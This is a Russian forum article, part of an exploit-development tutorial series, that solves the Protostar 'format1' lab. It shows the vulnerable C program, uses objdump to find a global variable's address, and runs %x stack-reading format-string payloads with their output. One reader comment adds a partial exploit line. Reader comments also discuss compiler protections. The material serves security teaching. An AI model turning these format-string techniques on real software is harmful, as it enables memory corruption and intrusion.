









14 июня стартует курс «[Python для Пентестера](#)» от команды The Co

Курс состоит из двух частей - базовой и продвинутой. В базовой части курса вы узнаете основы Python, который поможет применять Python пентестеру в создании своих инструм

Запись на курс до 25 июня. [Подробнее ...](#)

Форум  Защита информации / Конфиденциальность  [Reverse engineering](#)

Статья Уязвимости форматных строк и перезапись глобальных переменных - разработка эксплойтов, часть 11

 fuzzzz ·  02.06.2019 ·  gdb  разработка эксплойтов  руководство  уязвимости форматных строк

02.06.2019 ·  Ответы: 6



Доброго времени суток посетители Codeby! Продолжаем знакомиться с уязвимостями форматных строк и с эксплойтостроением. В этой статье посмотрим что такое примитив записи и чтения - используя уязвимость форматной строки. В прошлой [статье](#) посвященной уязвимостям форматных строк, мы перезаписывали локальную переменную. На этот раз мы перезапишем глобальную переменную, которая находится со всем в другой области памяти. Поехали!!!

Описание ExploitMe

На данном сайте используются cookie-файлы, чтобы персонализировать контент и сохранить Ваш вход в систему, если Вы зарегистрируетесь.
Продолжая использовать этот сайт, Вы соглашаетесь на использование наших cookie-файлов.

 Принять

[Узнать больше....](#)

- objdump -t ваш друг, и ваша входная строка лежит далеко в стеке

Этот уровень находится в / opt / protostar / bin / format1

Исходный код

```
C:

#include <stdlib.h>
#include <unistd.h>
#include <stdio.h>
#include <string.h>

int target;

void vuln(char *string)
{
    printf(string);

    if(target) {
        printf("you have modified the target :)\n");
    }
}

int main(int argc, char **argv)
{
    vuln(argv[1]);
}
```

Решение

Рассмотрим исходный код программы. Есть две функции main() и vuln(). В свою очередь, главная функция main() вызывает функцию vuln(), Функция vuln() принимает строку, через аргумент из главной функции. В теле функции vuln() есть условие if которое проверяем значение переменной target. Если переменная target имеет любое значение кроме нуля, то условие считается истинным. И на экране должна отобразится строчка, которая говорит нам о том. что мы прошли задание. Сама переменная target является глобальной переменной.

В противоположность локальным переменным глобальные переменные видны всей программе и могут использоваться любым участком кода. Они хранят свои значения на протяжении всей работы программы. Глобальные переменные создаются путем объявления вне функции. К ним можно получить доступ в любом выражении, независимо от того, в какой функции находится данное выражение.



На данном сайте используются cookie-файлы, чтобы персонализировать контент и сохранить Ваш вход в систему, если Вы зарегистрируетесь.
Продолжая использовать этот сайт, Вы соглашаетесь на использование наших cookie-файлов.

 Принять

Узнать больше....

Вот прототип этой функции

C:

```
int printf(const char *format, arg-list)
```

Глядя на код программы становится очевидно, что функция `printf()` - это уязвимая функция.

Более подробнее почитать про эту функцию можно [тут](#).

И так для начала узнаем адрес переменной `target`.

Запускаем `objdump` чтобы найти адрес глобальной переменной `target`.

Код:

```
objdump -t format1
```



На данном сайте используются cookie-файлы, чтобы персонализировать контент и сохранить Ваш вход в систему, если Вы зарегистрируетесь.
Продолжая использовать этот сайт, Вы соглашаетесь на использование наших cookie-файлов.

 Принять


Узнать больше....

```

08048340 1 d .text 00000000 .text
080484dc 1 d .fini 00000000 .fini
080484f8 1 d .rodata 00000000 .rodata
08048520 1 d .eh_frame 00000000 .eh_frame
08049524 1 d .ctors 00000000 .ctors
0804952c 1 d .dtors 00000000 .dtors
08049534 1 d .jcr 00000000 .jcr
08049538 1 d .dynamic 00000000 .dynamic
08049608 1 d .got 00000000 .got
0804960c 1 d .got.plt 00000000 .got.plt
08049628 1 d .data 00000000 .data
08049630 1 d .bss 00000000 .bss
00000000 1 d .stab 00000000 .stab
00000000 1 d .stabstr 00000000 .stabstr
00000000 1 d .comment 00000000 .comment
00000000 1 df *ABS* 00000000 crtstuff.c
08049524 1 O .ctors 00000000 __CTOR_LIST__
0804952c 1 O .dtors 00000000 __DTOR_LIST__
08049534 1 O .jcr 00000000 __JCR_LIST__
08048370 1 F .text 00000000 __do_global_dtors_aux
08049630 1 O .bss 00000001 completed.5982
08049634 1 O .bss 00000004 dtor_idx.5984
080483d0 1 F .text 00000000 frame_dummy
00000000 1 df *ABS* 00000000 crtstuff.c
08049528 1 O .ctors 00000000 __CTOR_END__
08048520 1 O .eh_frame 00000000 __FRAME_END__
08049534 1 O .jcr 00000000 __JCR_END__
080484b0 1 F .text 00000000 __do_global_ctors_aux
00000000 1 df *ABS* 00000000 formatl.c
0804960c 1 O .got.plt 00000000 .hidden __GLOBAL_OFFSET_TABLE__
08049524 1 .ctors 00000000 .hidden __init_array_end
08049524 1 .ctors 00000000 .hidden __init_array_start
08049538 1 O .dynamic 00000000 .hidden __DYNAMIC
08049628 w .data 00000000 data_start
08048440 g F .text 00000005 __libc_csu_fini
08048340 g F .text 00000000 __start
00000000 w *UND* 00000000 __gmon_start__
00000000 w *UND* 00000000 __Jv_RegisterClasses
080484f8 g O .rodata 00000004 __fp_hw
080484dc g F .fini 00000000 __fini
00000000 F *UND* 00000000 __libc_start_main@@GLIBC_2.0
080484fc g O .rodata 00000004 __IO_stdin_used
08049628 g .data 00000000 __data_start
0804962c g O .data 00000000 .hidden __dso_handle
08049530 g O .dtors 00000000 .hidden __DTOR_END__
08048450 g F .text 0000005a __libc_csu_init
00000000 F *UND* 00000000 printf@@GLIBC_2.0
08049630 g *ABS* 00000000 __bss_start
080483f4 g F .text 00000028 vuln
08049638 g O .bss 00000004 target
0804963c g *ABS* 00000000 __end
00000000 F *UND* 00000000 puts@@GLIBC_2.0
08049630 g *ABS* 00000000 __edata

```

На данном сайте используются cookie-файлы, чтобы персонализировать контент и сохранить Ваш вход в систему, если Вы зарегистрируетесь.
Продолжая использовать этот сайт, Вы соглашаетесь на использование наших cookie-файлов.

 Принять

[Узнать больше....](#)

Надо еще сказать, что глобальные и статические переменные хранятся в сегменте `.data`, а не инициализированные данные находятся в сегменте `.bss`. Наша переменная не имеет не какого значения, но при этом она является глобальной переменной. Компилятор положил нашу переменную в сегмент `.bss` для оптимизации.

Так же тут следует сказать, что искать какие то данные в программах которые весят очень много - довольно очень трудоёмкая задача. Поэтому лучшим способом будет это использовать `objdump` в месте с утилитой `grep`

Код:

```
objdump -t format1 | grep "target"
```

```
$ objdump -t format1 | grep "target"
08049638 g      0 .bss  00000004      target
```

На много проще и удобнее чем анализировать всё полотно целиком...

Используя уязвимости форматных строк мы можем напрямую записывать данные в произвольные адреса памяти. В прошлой [статье](#). Я рассказывал об этом и приводил примеры: `%x`, `%s`, `%n`...

Команда форматирования «`%n`» записывает байты в адрес памяти, на который ссылается указатель.

Указатель, как и все остальные параметры, передается через стек.

Поскольку наш вход в `printf()` функцию хранится в стеке, так как он передается `argv[1]`, у нас есть все необходимые компоненты для его использования.

Первое препятствие для эксплуатации заключается в том, что `printf()` не находится в том же фрейме стека, что и входная строка. Обычно это означает, что входная строка находится очень далеко от нашего текущего указателя стека. Сначала нам нужно найти, где находится начало нашей входной строки.

Удобно, что уязвимости форматных строк предоставляют нам очень простой способ чтения стека. Каждая команда форматирования `%x` выводит следующие 4 байта из стека и перемещает указатель стека вперед на ту же величину.



На данном сайте используются cookie-файлы, чтобы персонализировать контент и сохранить Ваш вход в систему, если Вы зарегистрируетесь.
Продолжая использовать этот сайт, Вы соглашаетесь на использование наших cookie-файлов.

 Принять

Узнать больше....

Код:

```
./format1 $(python -c "print '%x.'*10")
```

```
$ ./format1 $(python -c "print '%x.'*10")
804960c.bffffcd8.8048469.b7fd8304.b7fd7ff4.bffffcd8.8048435.bffffe97.b7ff1040.804845b.$
```

На выходе получили цепочку байт из стека... С помощью %x мы используем 2 байта, чтобы извлечь 4 байта из стека.

Если нужно больше то увеличим число

Код:

```
./format1 $(python -c "print '%x.'*100")
```

```
$ ./format1 $(python -c "print '%x.'*100")
804960c.bffffbc8.8048469.b7fd8304.b7fd7ff4.bffffbc8.8048435.bffffd89.b7ff1040.804845b.b7fd7ff4.8048450.0.bffffc48.b7eadc76.2.bffffc74.bffffc80.b7fe1848.bffffc30.fffffffb.b7ffef4.804824d.1.bffffc30.b7ff0626.b7ffab0.b7felb28.b7fd7ff4.0.0.bffffc48.ef24f69c.c56b208c.0.0.0.2.8048340.0.b7ff6210.b7eadb9b.b7ffef4.2.8048340.0.8048361.804841c.2.bffffc74.8048450.8048440.b7ff1040.bffffc6c.b7ff8f8.2.bffffd7f.bffffd89.0.bffffeb6.bffffed7.bffffe1.bffffef5.bfffff0f.bfffff1f.bffff32.bffff3f.bffff4a.bffff88.bffff99.bffffa7.bffffbe.0.20.b7fe2414.21.b7fe2000.10.178bf3ff.6.1000.11.64.3.8048034.4.20.5.7.7.b7fe3000.8.0.9.8048340.b.3e9.c.0.d.$
```

Всё просто.

Теперь найдем нашу входную строку 0x41414141 в стеке. Будем использовать метод известный как "stack popping".

Код:


```
./format1 $(python -c "print 'AAAAA' + '%x.' * 100 + '%x'")
```

```
$ ./format1 $(python -c "print 'AAAAA' + '%x.' * 100 + '%x'")
AAAAA804960c.bffffbc8.8048469.b7fd8304.b7fd7ff4.bffffbc8.8048435.bffffd82.b7ff1040.804845b.b7fd7ff4.8048450.0.bffffc48.b7eadc76.2.bffffc74.bffffc80.b7fe1848.bffffc30.fffffffb.b7ffef4.804824d.1.bffffc30.b7ff0626.b7ffab0.b7felb28.b7fd7ff4.0.0.bffffc48.ef24f69c.c56b208c.0.0.0.2.8048340.0.b7ff6210.b7eadb9b.b7ffef4.2.8048340.0.8048361.804841c.2.bffffc74.8048450.8048440.b7ff1040.bffffc6c.b7ff8f8.2.bffffd78.bffffd82.0.bffffeb6.bffffed7.bffffe1.bffffef5.bfffff0f.bfffff1f.bffff32.bffff3f.bffff4a.bffff88.bffff99.bffffa7.bffffbe.0.20.b7fe2414.21.b7fe2000.10.178bf3ff.6.1000.11.64.3.8048034.4.20.5.7.7.b7fe3000.8.0.9.8048340.b.3e9.c.0.d.3e9$
```

Тут нету нашей строки. Значит она лежит дальше

Код:

На данном сайте используются cookie-файлы, чтобы персонализировать контент и сохранить Ваш вход в систему, если Вы регистрируетесь.
Продолжая использовать этот сайт, Вы соглашаетесь на использование наших cookie-файлов.

 Принять

[Узнать больше....](#)

```
$ ./format1 $(python -c "print 'AAAA' + '%x.' * 150 + '%x'")
AAAAA804960c.bffffb38.8048469.b7fd8304.b7fd7ff4.bffffb38.8048435.bffffcec.b7ff1040.804845b.b7fd7ff4.8048450.0.bffffbb8.b7eadc76.2.bffffbe4.bffffbf0.b7fe1848.
bffffba0.ffffffff.b7feff4.804824d.1.bffffba0.b7ff0626.b7ffab0.b7felb28.b7fd7ff4.0.0.bffffbb8.c8538059.e21d7649.0.0.0.2.8048340.0.b7ff6210.b7eadb9b.b7feff4
.2.8048340.0.8048361.804841c.2.bffffbe4.8048450.8048440.b7ff1040.bffffbdc.b7ff8f8.2.bffffce2.bffffcec.0.bffffeb6.bffffed7.bffffee1.bffffef5.bfffff0f.bfffff1
f.bfffff32.bfffff3f.bfffff4a.bfffff88.bfffff99.bfffffa7.bfffffbe.0.20.b7fe2414.21.b7fe2000.10.178bf3ff.6.1000.11.64.3.8048034.4.20.5.7.7.b7fe3000.8.0.9.80483
40.b.3e9.c.0.d.3e9.e.3e9.17.1.19.bffffccb.1f.bfffff2.f.bffffcdb.0.0.49000000.80b465bc.7931bd2.d6aa6ab3.690e7550.363836.2f2e0000.6d726f66.317461.41414141.2e7
82541.252e7825.78252e78.2e78252e.252e7825.78252e78.2e78252e.252e7825.78252e78.2e78252e.252e7825.78252e78.2e78252e.252e7825.78252e78.2e78252e.252e7825.78252e78
8.2e78252e.252e7825.78252e78.2e78252e.252e7825.78252e78.2e78252e.252e7825.78252e78.2e78252e$
$
$
```

Вот наша строка. Так же надо сказать, что наша строка формата также хранится в стеке.

```
$ ./format1 $(python -c "print 'AAAA' + '%x.' * 150 + '%x'")
AAAAA804960c.bffffb38.8048469.b7fd8304.b7fd7ff4.bffffb38.8048435.bffffcec.b7ff1040.804845b.b7fd7ff4.804
8450.0.bffffbb8.b7eadc76.2.bffffbe4.bffffbf0.b7fe1848.bffffba0.ffffffff.b7feff4.804824d.1.bffffba0.b7f
f0626.b7ffab0.b7felb28.b7fd7ff4.0.0.bffffbb8.5edcd218.74922408.0.0.0.2.8048340.0.b7ff6210.b7eadb9b.b7f
feff4.2.8048340.0.8048361.804841c.2.bffffbe4.8048450.8048440.b7ff1040.bffffbdc.b7ff8f8.2.bffffce2.bfff
fcec.0.bffffeb6.bffffed7.bffffee1.bffffef5.bfffff0f.bfffff1f.bfffff32.bfffff3f.bfffff4a.bfffff88.bfffff
99.bfffffa7.bfffffbe.0.20.b7fe2414.21.b7fe2000.10.178bf3ff.6.1000.11.64.3.8048034.4.20.5.7.7.b7fe3000.8
.0.9.8048340.b.3e9.c.0.d.3e9.e.3e9.17.1.19.bffffccb.1f.bfffff2.f.bffffcdb.0.0.34000000.2904fce0.2eb3d0
95.8df9ed80.696388b6.363836.2f2e0000.6d726f66.317461.41414141.2e782541.252e7825.78252e78.2e78252e.252e7
825.78252e78.2e78252e.252e7825.78252e78.2e78252e.252e7825.78252e78.2e78252e.252e7825.78252e78.2e78252e.
252e7825.78252e78.2e78252e.252e7825.78252e78.2e78252e.252e7825.78252e78.2e78252e.252e7825.78252e78.2e78
252e$
```

Если запустить питон и проверить, то вот, что мы получим.

Код:

```
"2e782541".decode('hex')
"252e7825".decode('hex')
"78252e78".decode('hex')
```

```
>>> "2e782541".decode('hex')
'.x%A'
>>> "252e7825".decode('hex')
'%.x%'
>>> "78252e78".decode('hex')
'x%.x'
```

Теперь уменьшим значение.

Код:

```
./format1 $(python -c "print 'AAAA' + '%x.' * 130 + '%x'")
```

На данном сайте используются cookie-файлы, чтобы персонализировать контент и сохранить Ваш вход в систему, если Вы зарегистрируетесь.
Продолжая использовать этот сайт, Вы соглашаетесь на использование наших cookie-файлов.

Уменьшим еще на 5

Код:

```
./format1 $(python -c "print 'AAAAA' + '%x.' * 125 + '%x'")
```

```
$ ./format1 $(python -c "print 'AAAAA' + '%x.' * 125 + '%x'")
AAAAA804960c.bffffb78.8048469.b7fd8304.b7fd7ff4.bffffb78.8048435.bffffd37.b7ff10
40.804845b.b7fd7ff4.8048450.0.bffffbf8.b7eadc76.2.bffffc24.bffffc30.b7fel848.bff
ffbe0.ffffffff.b7ffeff4.804824d.1.bffffbe0.b7ff0626.b7fffab0.b7felb28.b7fd7ff4.0
.0.bffffbf8.9615cd80.bc5abb90.0.0.0.2.8048340.0.b7ff6210.b7eadb9b.b7ffeff4.2.804
8340.0.8048361.804841c.2.bffffc24.8048450.8048440.b7ff1040.bffffc1c.b7fff8f8.2.b
ffffd2d.bffffd37.0.bffffeb6.bffffed7.bffffeel.bffffef5.bffffff0f.bffffflf.bfffff3
2.bfffff3f.bfffff4a.bfffff88.bfffff99.bfffffa7.bfffffbe.0.20.b7fe2414.21.b7fe200
0.10.178bf3ff.6.1000.11.64.3.8048034.4.20.5.7.7.b7fe3000.8.0.9.8048340.b.3e9.c.0
.d.3e9.e.3e9.17.1.19.bffffd0b.1f.bffffff2.f.bffffdlb.0.0.a000000.66fe2c3c.e37fb4
f1.d290c0e4.695de88a.363836.0.0.0.662f2e00.616d726f.41003174.41414141$
```

А теперь примитив записи.

Теперь мы можем заменить «AAAAA» адресом target, а последний символ форматирования %x
3- читать на %p, чтобы записать данные на адрес.

fuzzzz Well-known member

Red Team

Сообщения: 202 · Реакции: 395

03.06.2019

#2

fuzzzz сказал(а):

Доброго времени суток посетители Codeby! Продолжаем знакомиться с уязвимостями форматных строк и с эксплойтостроением. В этой статье посмотрим что такое примитив записи и чтения - используя уязвимость форматной строки. В прошлой [статье](#) посвященной уязвимостям форматных строк, мы перезаписывали локальную переменную. На этот раз мы перезапишем глобальную переменную

Нажмите, чтобы раскрыть...

На данном сайте используются cookie-файлы, чтобы персонализировать контент и сохранить Ваш вход в систему, если Вы зарегистрируетесь. Продолжая использовать этот сайт, Вы соглашаетесь на использование наших cookie-файлов.

Принять

Узнать больше....

Р

polunochnik

Well-known member

30.05.2019

69

3

Bytes133

06.06.2019

#3

Интересная подборка статей, все ясно и понятно.
А главное есть узкие места, которые отданы на самостоятельное решение.

может кому пригодится, в данной задачке у меня вышло так:

Код:

```
./format1 `python -c "print '\x08\x04\x96\x38'[:-1]+'CCDDEE' + '%x`
```

fuzzzz

И

Икар

06.06.2019

#4

Разве на сегодня производители не собирают софт с ключами защиты от переполнения как буфера так и строк? в 2019 разве актуальны ошибки 2000 года?

fuzzzz

Red Team

03.02.2019

202

395

Bytes452

06.06.2019

#5

Икар сказал(а):

Разве на сегодня производители не собирают софт с ключами защиты от переполнения как буфера так и строк? в 2019 разве актуальны ошибки 2000 года?

всё верно собирают. Но надо просто с начало изучить принцип эксплуатации подобных уязвимостей, а затем пытаться обходить защиты. Perment DEP\ASLR\CFG. В этом и сложность написания эксплойтов. Поэтому за них такие цены дикие на рынке.

Еще надо сказать если пишешь код криво. Компилятор не спасет. Когда пишешь на Си\Си++ надо выставлять максимальный уровень предупреждений в компиляторе. Любой варнинг править.

Эти уязвимости всё еще встречаются. Это конечно старые уязвимости, но

На данном сайте используются cookie-файлы, чтобы персонализировать контент и сохранить Ваш вход в систему, если Вы зарегистрируетесь.
Продолжая использовать этот сайт, Вы соглашаетесь на использование наших cookie-файлов.

Принять

Узнать больше....

9 of 13

6/3/22, 09:03

Последнее редактирование: 06.06.2019

rink0

One Level

	28.11.2017
	62
	65
Bytes	288

20.06.2019

#6

ты опять с числами напутал) это 10
а та которая 12 это 11

fuzzz

Red Team

	03.02.2019
	202
	395
Bytes	452

20.06.2019

#7

rink0 сказал(а):

ты опять с числами напутал) это 10
а та которая 12 это 11

Вроде нет...

[Уязвимости форматных строк и перезапись переменных к конкретному значению - разработка эксплойтов, часть 9](#)
[ROP цепочка гаджетов - разработка эксплойтов, часть 10](#)
[Уязвимости форматных строк и перезапись глобальных переменных - разработка эксплойтов, часть 11](#)
[Уязвимости форматных строк и перезапись глобальных переменных к конкретному значению - разработка эксплойтов, часть 12](#)

Или уже поправили?

Для ответа нужно войти/зарегистрироваться


Мы в соцсетях:


На данном сайте используются cookie-файлы, чтобы персонализировать контент и сохранить Ваш вход в систему, если Вы регистрируетесь.
Продолжая использовать этот сайт, Вы соглашаетесь на использование наших cookie-файлов.

Принять


Узнать больше....


[Статья](#) Уязвимости форматных строк и перезапись глобальных переменных с контролем данных для конкретного значения, - разработка эксплойтов, часть 13
fuzzz · 24.11.2019 · Reverse engineering

 Ответы: 0
Просмотры: 2 тыс.


24.11.2019
fuzzz 


[Статья](#) Уязвимости форматных строк и метод перенаправления выполнения в процессе - разработка эксплойтов, часть 14
fuzzz · 07.12.2019 · Reverse engineering

 Ответы: 1
Просмотры: 2 тыс.


30.03.2020
swagcat228 


[Статья](#) Reverse crackme для начинающих [0x02]
Mogen · 07.05.2021 · Reverse engineering

 Ответы: 4
Просмотры: 723


08.05.2021
Mogen 


[Статья](#) [0x03] Изучаем таски по написанию шелл-кодов: local
Mogen · 11.03.2021 · Этичный хакинг и тестирование на проникновение

 Ответы: 3
Просмотры: 1 тыс.

16.03.2021
grafomag 

[Статья](#) USB Flash [часть 2] – программирование
Marylin · 20.04.2021 · Ассемблер - Assembler

 Ответы: 2
Просмотры: 884

22.04.2021
Marylin 

Поделиться:            3
Форум  Защита информации / Конфиденциальность  [Reverse engineering](#)

Codeby Dark

 Русский (RU)

[Условия и правила](#) [Политика конфиденциальности](#) [Помощь](#) [Главная](#)

Community platform by XenForo® © 2010-2021 XenForo Ltd.
Parts of this site powered by XenForo add-ons from DragonByte™ ©2011-2021 DragonByte Technologies Ltd. (Details)
Перевод от Jumuro®
XenPorta 2 PRO © Jason Axelrod of 8WAYRUN



На данном сайте используются cookie-файлы, чтобы персонализировать контент и сохранить Ваш вход в систему, если Вы зарегистрируетесь.
Продолжая использовать этот сайт, Вы соглашаетесь на использование наших cookie-файлов.

 Принять

[Узнать больше....](#)



На данном сайте используются cookie-файлы, чтобы персонализировать контент и сохранить Ваш вход в систему, если Вы зарегистрируетесь.
Продолжая использовать этот сайт, Вы соглашаетесь на использование наших cookie-файлов.



Принять

[Узнать больше....](#)



На данном сайте используются cookie-файлы, чтобы персонализировать контент и сохранить Ваш вход в систему, если Вы зарегистрируетесь.
Продолжая использовать этот сайт, Вы соглашаетесь на использование наших cookie-файлов.



Принять

[Узнать больше....](#)